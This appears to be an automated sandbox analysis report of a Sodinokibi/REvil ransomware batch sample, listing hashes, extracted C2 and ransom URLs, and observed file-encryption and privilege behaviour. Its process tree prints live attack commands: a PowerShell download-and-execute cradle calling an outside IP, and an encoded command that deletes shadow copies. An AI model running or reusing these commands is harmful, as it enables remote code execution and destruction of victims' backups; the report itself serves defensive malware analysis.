Analysis
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max time kernel
149s -
max time network
62s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
10-08-2020 10:10
Static task
static1
Behavioral task
behavioral1
Sample
3defad0fc0a8b4e37a73ffc6d2ea8f2c.bat
Resource
win7v200722
Behavioral task
behavioral2
Sample
3defad0fc0a8b4e37a73ffc6d2ea8f2c.bat
Resource
win10v200722
General
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Target
3defad0fc0a8b4e37a73ffc6d2ea8f2c.bat
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Size
217B
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MD5
2ab61d56f01d736001ccaac50b4175b3
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SHA1
eb1e9c14e901a1dc760cf78c692a5ebc095b6bda
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SHA256
db2c20d79fbbbaf8f83bee3506d0a2dfa7bcb5fd1e69be9abcf7c0016f0679ed
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SHA512
81c624f718127b9f15c9f5fcc73b8e141263291061054393063974ba20c531574d9bbba856c2b63e0ac40a87067984b82dcd641eadffba3e6b804811bb9316cc
Malware Config
Extracted
http://185.103.242.78/pastes/3defad0fc0a8b4e37a73ffc6d2ea8f2c
Extracted
C:\0u2zl1sr-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2D4524545FFD1B6A
http://decryptor.cc/2D4524545FFD1B6A
Signatures
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Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exepid process 640 powershell.exe 640 powershell.exe 640 powershell.exe 640 powershell.exe 640 powershell.exe 1500 powershell.exe 1500 powershell.exe 1500 powershell.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 1 640 powershell.exe -
Enumerates connected drives 3 TTPs
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Modifies service 2 TTPs 4 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe -
Drops file in Program Files directory 13 IoCs
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\program files\ImportSuspend.jpeg powershell.exe File opened for modification \??\c:\program files\RepairGroup.wvx powershell.exe File opened for modification \??\c:\program files\RestartRestore.odt powershell.exe File opened for modification \??\c:\program files\WaitEdit.xml powershell.exe File opened for modification \??\c:\program files\WaitResolve.mht powershell.exe File created \??\c:\program files (x86)\0u2zl1sr-readme.txt powershell.exe File opened for modification \??\c:\program files\BlockRead.svgz powershell.exe File opened for modification \??\c:\program files\InvokeCompare.dotm powershell.exe File opened for modification \??\c:\program files\UndoSelect.inf powershell.exe File opened for modification \??\c:\program files\UnlockRemove.vssm powershell.exe File opened for modification \??\c:\program files\UnpublishInstall.3gpp powershell.exe File created \??\c:\program files\0u2zl1sr-readme.txt powershell.exe File opened for modification \??\c:\program files\GetApprove.vbs powershell.exe -
Modifies extensions of user files 4 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
powershell.exedescription ioc process File renamed C:\Users\Admin\Pictures\FormatMerge.png => \??\c:\users\admin\pictures\FormatMerge.png.0u2zl1sr powershell.exe File renamed C:\Users\Admin\Pictures\GetBlock.crw => \??\c:\users\admin\pictures\GetBlock.crw.0u2zl1sr powershell.exe File renamed C:\Users\Admin\Pictures\ResolveGrant.raw => \??\c:\users\admin\pictures\ResolveGrant.raw.0u2zl1sr powershell.exe File renamed C:\Users\Admin\Pictures\SyncDismount.raw => \??\c:\users\admin\pictures\SyncDismount.raw.0u2zl1sr powershell.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\qc7uf8y0j.bmp" powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 408 wrote to memory of 640 408 cmd.exe powershell.exe PID 408 wrote to memory of 640 408 cmd.exe powershell.exe PID 408 wrote to memory of 640 408 cmd.exe powershell.exe PID 640 wrote to memory of 1500 640 powershell.exe powershell.exe PID 640 wrote to memory of 1500 640 powershell.exe powershell.exe PID 640 wrote to memory of 1500 640 powershell.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
Processes:
powershell.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 640 powershell.exe Token: SeDebugPrivilege 640 powershell.exe Token: SeDebugPrivilege 1500 powershell.exe Token: SeBackupPrivilege 744 vssvc.exe Token: SeRestorePrivilege 744 vssvc.exe Token: SeAuditPrivilege 744 vssvc.exe Token: SeTakeOwnershipPrivilege 640 powershell.exe -
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3defad0fc0a8b4e37a73ffc6d2ea8f2c.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:408 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/3defad0fc0a8b4e37a73ffc6d2ea8f2c');Invoke-PJWVUIZXTL;Start-Sleep -s 10000"2⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Drops file in Program Files directory
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:640 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:744